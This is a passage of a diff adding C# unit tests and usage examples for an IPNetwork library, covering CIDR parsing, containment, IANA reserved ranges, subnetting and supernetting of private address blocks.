+            Console.WriteLine("Cidr : {0}", ipnetwork.Cidr);
+
+        }
+
+        public void Example2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.0.0/24");
+            IPAddress ipaddress = IPAddress.Parse("192.168.0.100");
+            IPAddress ipaddress2 = IPAddress.Parse("192.168.1.100");
+
+            IPNetwork ipnetwork2 = IPNetwork.Parse("192.168.0.128/25");
+            IPNetwork ipnetwork3 = IPNetwork.Parse("192.168.1.1/24");
+
+            bool contains1 = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool contains2 = IPNetwork.Contains(ipnetwork, ipaddress2);
+            bool contains3 = IPNetwork.Contains(ipnetwork, ipnetwork2);
+            bool contains4 = IPNetwork.Contains(ipnetwork, ipnetwork3);
+
+            bool overlap1 = IPNetwork.Overlap(ipnetwork, ipnetwork2);
+            bool overlap2 = IPNetwork.Overlap(ipnetwork, ipnetwork3);
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress2, contains2);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipnetwork2, contains3);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipnetwork3, contains4);
+
+
+            Console.WriteLine("{0} overlap {1} : {2}", ipnetwork, ipnetwork2, overlap1);
+            Console.WriteLine("{0} overlap {1} : {2}", ipnetwork, ipnetwork3, overlap2);
+
+
+        }
+
+        public void Example2b() {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("10.1.0.0/16");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("192.168.1.0/24");
+
+            IPAddress ipaddress1 = IPAddress.Parse("192.168.1.1");
+            IPAddress ipaddress2 = IPAddress.Parse("192.168.2.100");
+            IPAddress ipaddress3 = IPAddress.Parse("10.1.2.3");
+            IPAddress ipaddress4 = IPAddress.Parse("10.4.5.6");
+
+
+            bool contains1 = IPNetwork.Contains(ipnetwork2, ipaddress1);
+            bool contains2 = IPNetwork.Contains(ipnetwork2, ipaddress2);
+            bool contains3 = IPNetwork.Contains(ipnetwork1, ipaddress3);
+            bool contains4 = IPNetwork.Contains(ipnetwork1, ipaddress4);
+
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork1, ipaddress1, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork1, ipaddress2, contains2);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork2, ipaddress3, contains3);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork2, ipaddress4, contains4);
+
+
+        }
+
+        public void Example3()
+        {
+
+            IPNetwork iana_a_block = IPNetwork.IANA_ABLK_RESERVED1;
+            IPNetwork iana_b_block = IPNetwork.IANA_BBLK_RESERVED1;
+            IPNetwork iana_c_block = IPNetwork.IANA_CBLK_RESERVED1;
+
+            Console.WriteLine("IANA_ABLK_RESERVED1 is {0}", iana_a_block);
+            Console.WriteLine("IANA_BBLK_RESERVED1 is {0}", iana_b_block);
+            Console.WriteLine("IANA_CBLK_RESERVED1 is {0}", iana_c_block);
+
+        }
+
+
+        public void Example4()
+        {
+            IPNetwork wholeInternet = IPNetwork.Parse("0.0.0.0/0");
+            byte newCidr = 2;
+            IPNetworkCollection subneted = IPNetwork.Subnet(wholeInternet, newCidr);
+
+            Console.WriteLine("{0} was subnetted into {1} subnets", wholeInternet, subneted.Count);
+            Console.WriteLine("First: {0}", subneted[0]);
+            Console.WriteLine("Last : {0}", subneted[subneted.Count - 1]);
+            Console.WriteLine("All  :");
+
+            foreach (IPNetwork ipnetwork in subneted)
+            {
+                Console.WriteLine("{0}", ipnetwork);
+            }
+        }
+
+        public void Example5()
+        {
+            IPNetwork ipnetwork1 = IPNetwork.Parse("192.168.0.0/24");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("192.168.1.0/24");
+            IPNetwork[] ipnetwork3 = IPNetwork.Supernet(new[]{ipnetwork1, ipnetwork2});
+
+            Console.WriteLine("{0} + {1} = {2}", ipnetwork1, ipnetwork2, ipnetwork3[0]);
+            
+        }
+
+
+
+        public void Example7() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.168.100/24");
+
+            IPAddress ipaddress = IPAddress.Parse("192.168.168.200");
+            IPAddress ipaddress2 = IPAddress.Parse("192.168.0.200");
+
+            bool contains1 = IPNetwork.Contains(ipnetwork, ipaddress);
+            bool contains2 = IPNetwork.Contains(ipnetwork, ipaddress2);
+
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress, contains1);
+            Console.WriteLine("{0} contains {1} : {2}", ipnetwork, ipaddress2, contains2);
+
+        }
+        public void Example9() {
+
+            IPNetwork network = IPNetwork.Parse("192.168.0.1");
+            IPNetwork network2 = IPNetwork.Parse("192.168.0.254");
+
+            IPNetwork ipnetwork = IPNetwork.Supernet(network, network2);
+
+            Console.WriteLine("Network : {0}", ipnetwork.Network);
+            Console.WriteLine("Netmask : {0}", ipnetwork.Netmask);
+            Console.WriteLine("Broadcast : {0}", ipnetwork.Broadcast);
+            Console.WriteLine("FirstUsable : {0}", ipnetwork.FirstUsable);
+            Console.WriteLine("LastUsable : {0}", ipnetwork.LastUsable);
+            Console.WriteLine("Usable : {0}", ipnetwork.Usable);
+            Console.WriteLine("Cidr : {0}", ipnetwork.Cidr);
+
+        }
+
+
+        public void Example10() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.0.1/25");
+
+            Console.WriteLine("Network : {0}", ipnetwork.Network);
+            Console.WriteLine("Netmask : {0}", ipnetwork.Netmask);
+            Console.WriteLine("Broadcast : {0}", ipnetwork.Broadcast);
+            Console.WriteLine("FirstUsable : {0}", ipnetwork.FirstUsable);
+            Console.WriteLine("LastUsable : {0}", ipnetwork.LastUsable);
+            Console.WriteLine("Usable : {0}", ipnetwork.Usable);
+            Console.WriteLine("Cidr : {0}", ipnetwork.Cidr);
+
+        }
+
+        #endregion
+
+        #region IANA blocks
+        [TestMethod]
+        public void TestIANA1() {
+
+            IPAddress ipaddress = IPAddress.Parse("192.168.66.66");
+            bool expected = true;
+            bool result = IPNetwork.IsIANAReserved(ipaddress);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+
+        [TestMethod]
+        public void TestIANA2() {
+
+            IPAddress ipaddress = IPAddress.Parse("10.0.0.0");
+            bool expected = true;
+            bool result = IPNetwork.IsIANAReserved(ipaddress);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+
+        [TestMethod]
+        public void TestIANA3() {
+
+            IPAddress ipaddress = IPAddress.Parse("172.17.10.10");
+            bool expected = true;
+            bool result = IPNetwork.IsIANAReserved(ipaddress);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+
+        [TestMethod]
+        public void TestIANA4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.66.66/24");
+            bool expected = true;
+            bool result = IPNetwork.IsIANAReserved(ipnetwork);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+
+        [TestMethod]
+        public void TestIANA5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("10.10.10/18");
+            bool expected = true;
+            bool result = IPNetwork.IsIANAReserved(ipnetwork);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+
+        [TestMethod]
+        public void TestIANA6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("172.31.10.10/24");
+            bool expected = true;
+            bool result = IPNetwork.IsIANAReserved(ipnetwork);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestIANA7() {
+
+            IPAddress ipaddress = null;
+            IPNetwork.IsIANAReserved(ipaddress);
+
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestIANA8() {
+
+            IPNetwork ipnetwork = null;
+            IPNetwork.IsIANAReserved(ipnetwork);
+
+
+        }
+
+
+        [TestMethod]
+        public void TestIANA9() {
+
+            IPAddress ipaddress = IPAddress.Parse("1.2.3.4");
+            bool expected = false;
+            bool result = IPNetwork.IsIANAReserved(ipaddress);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+
+        [TestMethod]
+        public void TestIANA10() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("172.16.0.0/8");
+            bool expected = false;
+            bool result = IPNetwork.IsIANAReserved(ipnetwork);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+
+
+        [TestMethod]
+        public void TestIANA11() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/8");
+            bool expected = false;
+            bool result = IPNetwork.IsIANAReserved(ipnetwork);
+
+            Assert.AreEqual(expected, result, "IANA");
+
+        }
+        #endregion
+
+        #region ToString
+
+
+        [TestMethod]
+        public void TestToString() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/8");
+            string expected = "192.0.0.0/8";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString1() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/9");
+            string expected = "192.128.0.0/9";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString2() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/10");
+            string expected = "192.128.0.0/10";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString3() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/11");
+            string expected = "192.160.0.0/11";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString4() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/12");
+            string expected = "192.160.0.0/12";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString5() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/13");
+            string expected = "192.168.0.0/13";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString6() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/14");
+            string expected = "192.168.0.0/14";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+        [TestMethod]
+        public void TestToString7() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/15");
+            string expected = "192.168.0.0/15";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+
+        [TestMethod]
+        public void TestToString8() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.15.1/16");
+            string expected = "192.168.0.0/16";
+            string result = ipnetwork.ToString();
+
+            Assert.AreEqual(expected, result, "ToString");
+        }
+        
+        #endregion
+
+        #region Subnet
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestSubnet1() {
+
+            IPNetwork ipnetwork = null;
+            byte cidr = 9;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSubnet3() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_ABLK_RESERVED1;
+            byte cidr = 55;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestSubnet4() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_ABLK_RESERVED1;
+            byte cidr = 1;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet5() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_ABLK_RESERVED1;
+            byte cidr = 9;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(2, subnets.Count, "count");
+            Assert.AreEqual("10.0.0.0/9", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("10.128.0.0/9", subnets[1].ToString(), "subnet2");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet6() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_CBLK_RESERVED1;
+            byte cidr = 20;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(16, subnets.Count, "count");
+            Assert.AreEqual("192.168.0.0/20", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("192.168.16.0/20", subnets[1].ToString(), "subnet2");
+            Assert.AreEqual("192.168.32.0/20", subnets[2].ToString(), "subnet3");
+            Assert.AreEqual("192.168.48.0/20", subnets[3].ToString(), "subnet4");
+            Assert.AreEqual("192.168.64.0/20", subnets[4].ToString(), "subnet5");
+            Assert.AreEqual("192.168.80.0/20", subnets[5].ToString(), "subnet6");
+            Assert.AreEqual("192.168.96.0/20", subnets[6].ToString(), "subnet7");
+            Assert.AreEqual("192.168.112.0/20", subnets[7].ToString(), "subnet8");
+            Assert.AreEqual("192.168.128.0/20", subnets[8].ToString(), "subnet9");
+            Assert.AreEqual("192.168.144.0/20", subnets[9].ToString(), "subnet10");
+            Assert.AreEqual("192.168.160.0/20", subnets[10].ToString(), "subnet11");
+            Assert.AreEqual("192.168.176.0/20", subnets[11].ToString(), "subnet12");
+            Assert.AreEqual("192.168.192.0/20", subnets[12].ToString(), "subnet13");
+            Assert.AreEqual("192.168.208.0/20", subnets[13].ToString(), "subnet14");
+            Assert.AreEqual("192.168.224.0/20", subnets[14].ToString(), "subnet15");
+            Assert.AreEqual("192.168.240.0/20", subnets[15].ToString(), "subnet16");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet7() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_CBLK_RESERVED1;
+            byte cidr = 24;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(256, subnets.Count, "count");
+            Assert.AreEqual("192.168.0.0/24", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("192.168.255.0/24", subnets[255].ToString(), "subnet16");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet8() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_CBLK_RESERVED1;
+            byte cidr = 24;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(256, subnets.Count, "count");
+            Assert.AreEqual("192.168.0.0/24", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("192.168.255.0/24", subnets[255].ToString(), "subnet256");
+
+        }
+
+        [TestMethod]
+        public void TestSubnet9() {
+
+            IPNetwork ipnetwork = IPNetwork.Parse("192.168.0.0/24");
+            byte cidr = 32;
+
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(256, subnets.Count, "count");
+            Assert.AreEqual("192.168.0.0/32", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("192.168.0.255/32", subnets[255].ToString(), "subnet256");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet10()
+        {
+            IPNetwork ipnetwork = IPNetwork.Parse("0.0.0.0/0");
+            byte cidr = 32;
+
+            // Here I spawm a OOM dragon ! beware of the beast !
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            Assert.AreEqual(4294967296, subnets.Count, "count");
+            Assert.AreEqual("0.0.0.0/32", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("255.255.255.255/32", subnets[4294967295].ToString(), "subnet256");
+
+        }
+
+
+        [TestMethod]
+        public void TestSubnet12() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_CBLK_RESERVED1;
+            byte cidr = 20;
+            int i = -1;
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            foreach (IPNetwork ipn in subnets) {
+                i++;
+                Assert.AreEqual(subnets[i], ipn, "subnet");
+            }
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSubnet13() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_CBLK_RESERVED1;
+            byte cidr = 20;
+            IPNetworkCollection subnets = IPNetwork.Subnet(ipnetwork, cidr);
+            IPNetwork error = subnets[1000];
+
+        }
+
+        #endregion
+
+        #region TrySubnet
+
+
+        [TestMethod]
+        public void TestTrySubnet1() {
+
+            IPNetwork ipnetwork = null;
+            byte cidr = 9;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+
+        }
+
+        [TestMethod]
+        public void TestTrySubnet3() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_ABLK_RESERVED1;
+            byte cidr = 55;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet4() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_ABLK_RESERVED1;
+            byte cidr = 1;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(false, subnetted, "subnetted");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet5() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_ABLK_RESERVED1;
+            byte cidr = 9;
+
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(true, subnetted, "subnetted");
+            Assert.AreEqual(2, subnets.Count, "count");
+            Assert.AreEqual("10.0.0.0/9", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("10.128.0.0/9", subnets[1].ToString(), "subnet2");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySubnet6() {
+
+            IPNetwork ipnetwork = IPNetwork.IANA_CBLK_RESERVED1;
+            byte cidr = 20;
+
+            IPNetworkCollection subnets = null;
+            bool subnetted = IPNetwork.TrySubnet(ipnetwork, cidr, out subnets);
+
+            Assert.AreEqual(true, subnetted, "subnetted");
+            Assert.AreEqual(16, subnets.Count, "count");
+            Assert.AreEqual("192.168.0.0/20", subnets[0].ToString(), "subnet1");
+            Assert.AreEqual("192.168.16.0/20", subnets[1].ToString(), "subnet2");
+            Assert.AreEqual("192.168.32.0/20", subnets[2].ToString(), "subnet3");
+            Assert.AreEqual("192.168.48.0/20", subnets[3].ToString(), "subnet4");
+            Assert.AreEqual("192.168.64.0/20", subnets[4].ToString(), "subnet5");
+            Assert.AreEqual("192.168.80.0/20", subnets[5].ToString(), "subnet6");
+            Assert.AreEqual("192.168.96.0/20", subnets[6].ToString(), "subnet7");
+            Assert.AreEqual("192.168.112.0/20", subnets[7].ToString(), "subnet8");
+            Assert.AreEqual("192.168.128.0/20", subnets[8].ToString(), "subnet9");
+            Assert.AreEqual("192.168.144.0/20", subnets[9].ToString(), "subnet10");
+            Assert.AreEqual("192.168.160.0/20", subnets[10].ToString(), "subnet11");
+            Assert.AreEqual("192.168.176.0/20", subnets[11].ToString(), "subnet12");
+            Assert.AreEqual("192.168.192.0/20", subnets[12].ToString(), "subnet13");
+            Assert.AreEqual("192.168.208.0/20", subnets[13].ToString(), "subnet14");
+            Assert.AreEqual("192.168.224.0/20", subnets[14].ToString(), "subnet15");
+            Assert.AreEqual("192.168.240.0/20", subnets[15].ToString(), "subnet16");
+
+        }
+
+
+
+        #endregion
+
+        #region Supernet
+
+        [TestMethod]
+        public void TestSupernet1() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork expected = IPNetwork.Parse("192.168.0.0/23");
+            IPNetwork supernet = IPNetwork.Supernet(network1, network2);
+
+            Assert.AreEqual(expected, supernet, "supernet");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestSupernet2() {
+
+            IPNetwork network1 = null;
+            IPNetwork network2 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork supernet = IPNetwork.Supernet(network1, network2);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
+        public void TestSupernet3() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork network2 = null;
+            IPNetwork supernet = IPNetwork.Supernet(network1, network2);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestSupernet4() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.1.1/25");
+            IPNetwork supernet = IPNetwork.Supernet(network1, network2);
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentOutOfRangeException))]
+        public void TestSupernet5() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.5.1/24");
+            IPNetwork supernet = IPNetwork.Supernet(network1, network2);
+        }
+
+        [TestMethod]
+        public void TestSupernet6() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.0.1/25");
+            IPNetwork expected = IPNetwork.Parse("192.168.0.0/24");
+            IPNetwork supernet = IPNetwork.Supernet(network1, network2);
+
+            Assert.AreEqual(expected, supernet, "supernet");
+
+        }
+
+        [TestMethod]
+        public void TestSupernet7() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/25");
+            IPNetwork network2 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork expected = IPNetwork.Parse("192.168.0.0/24");
+            IPNetwork supernet = IPNetwork.Supernet(network1, network2);
+
+            Assert.AreEqual(expected, supernet, "supernet");
+
+        }
+
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentException))]
+        public void TestSupernet8() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.2.1/24");
+            IPNetwork supernet = IPNetwork.Supernet(network1, network2);
+
+
+        }
+
+
+        [TestMethod]
+        public void TestSupernet9()
+        {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("200.16.0.0/24");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("200.16.1.0/24");
+            IPNetwork ipnetwork3 = IPNetwork.Parse("200.16.2.0/24");
+            IPNetwork ipnetwork4 = IPNetwork.Parse("200.16.3.0/24");
+
+            IPNetwork result = IPNetwork.Supernet(new[] { ipnetwork1, ipnetwork2, ipnetwork3, ipnetwork4 })[0];
+            IPNetwork expected = IPNetwork.Parse("200.16.0.0/22");
+
+            Assert.AreEqual(expected, result, "supernet");
+
+        }
+
+        #endregion
+
+        #region TrySupernet
+
+
+        [TestMethod]
+        public void TestTrySupernet1() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork supernetExpected = IPNetwork.Parse("192.168.0.0/23");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet2() {
+
+            IPNetwork network1 = null;
+            IPNetwork network2 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet3() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork network2 = null;
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet4() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.1.1/25");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet5() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.5.1/24");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+        }
+
+        [TestMethod]
+        public void TestTrySupernet6() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.0.1/25");
+            IPNetwork supernetExpected = IPNetwork.Parse("192.168.0.0/24");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet7() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/25");
+            IPNetwork network2 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork supernetExpected = IPNetwork.Parse("192.168.0.0/24");
+            IPNetwork supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet8() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.2.1/24");
+            IPNetwork supernetExpected = null;
+            IPNetwork supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network1, network2, out supernet);
+
+            Assert.AreEqual(supernetExpected, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernet9() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.2.1/24");
+            IPNetwork[] network3 = new [] { network1, network2 };
+            IPNetwork[] supernetExpected = new [] { network1, network2 };
+            IPNetwork[] supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(supernetExpected[0], supernet[0], "supernet");
+            Assert.AreEqual(supernetExpected[1], supernet[1], "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernet10() {
+
+            IPNetwork network1 = IPNetwork.Parse("192.168.0.1/24");
+            IPNetwork network2 = IPNetwork.Parse("192.168.1.1/24");
+            IPNetwork[] network3 = new[] { network1, network2 };
+            IPNetwork[] supernetExpected = new[] { IPNetwork.Parse("192.168.0.0/23") };
+            IPNetwork[] supernet;
+            bool parsed = true;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(supernetExpected[0], supernet[0], "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        [TestMethod]
+        public void TestTrySupernet11() {
+
+            IPNetwork[] network3 = null;
+            IPNetwork[] supernetExpected = new[] { IPNetwork.Parse("192.168.0.0/23") };
+            IPNetwork[] supernet;
+            bool parsed = false;
+            bool result = IPNetwork.TrySupernet(network3, out supernet);
+
+            Assert.AreEqual(null, supernet, "supernet");
+            Assert.AreEqual(parsed, result, "parsed");
+
+        }
+
+
+        #endregion
+
+        #region SupernetArray
+
+        [TestMethod]
+        public void TestTrySupernetArray()
+        {
+
+            IPNetwork ipnetwork1 = IPNetwork.Parse("192.168.0.0/24");
+            IPNetwork ipnetwork2 = IPNetwork.Parse("192.168.1.0/24");
+            IPNetwork ipnetwork3 = IPNetwork.Parse("192.168.2.0/24");
+            IPNetwork ipnetwork4 = IPNetwork.Parse("192.168.3.0/24");
+
+            IPNetwork[] ipnetworks = { ipnetwork1, ipnetwork2, ipnetwork3, ipnetwork4 };
+            IPNetwork[] expected = { IPNetwork.Parse("192.168.0.0/22") };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+            Assert.AreEqual(expected[0], expected[0], "suppernet");
+
+        }
+
+        [TestMethod]
+        public void TestTrySupernetArray1()
+        {
+
+
+            IPNetwork[] ipnetworks = { };
+            IPNetwork[] expected = { };
+
+            IPNetwork[] result = IPNetwork.Supernet(ipnetworks);
+
+            Assert.AreEqual(expected.Length, result.Length, "supernetarray");
+
+        }
+
+        [TestMethod]
+        [ExpectedException(typeof(ArgumentNullException))]
